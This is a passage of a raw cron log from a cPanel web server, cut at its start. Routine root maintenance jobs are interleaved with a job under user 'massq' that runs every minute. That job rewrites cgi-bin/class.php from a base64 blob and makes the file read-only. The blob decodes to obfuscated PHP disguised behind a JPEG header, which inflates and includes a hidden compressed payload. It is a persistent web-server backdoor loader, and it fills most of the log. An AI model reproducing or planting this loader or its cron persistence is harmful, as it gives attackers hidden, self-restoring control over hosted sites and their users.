QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:59:01 server CROND[6967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:00:01 server CROND[7028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:00:01 server CROND[7030]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 02:00:01 server CROND[7031]: (root) CMD (/usr/local/cpanel/bin/backup)
Apr 12 02:00:01 server CROND[7032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:00:01 server CROND[7033]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 02:00:01 server CROND[7035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:01:01 server CROND[7186]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 02:01:01 server CROND[7187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:01:01 server run-parts(/etc/cron.hourly)[7186]: starting 0anacron
Apr 12 02:01:01 server anacron[7199]: Anacron started on 2025-04-12
Apr 12 02:01:01 server anacron[7199]: Normal exit (0 jobs run)
Apr 12 02:01:01 server run-parts(/etc/cron.hourly)[7201]: finished 0anacron
Apr 12 02:02:01 server CROND[7263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:03:01 server CROND[7406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:04:01 server CROND[7464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:05:01 server CROND[7516]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 02:05:01 server CROND[7518]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 02:05:01 server CROND[7521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:05:01 server CROND[7520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:05:01 server CROND[7519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:06:01 server CROND[7635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:07:01 server CROND[7693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:08:01 server CROND[7848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:09:01 server CROND[7907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:09:01 server CROND[7908]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 02:10:01 server CROND[7983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 02:10:01 server CROND[7984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:10:01 server CROND[7985]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:10:01 server CROND[7986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:11:01 server CROND[8115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:12:01 server CROND[8165]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
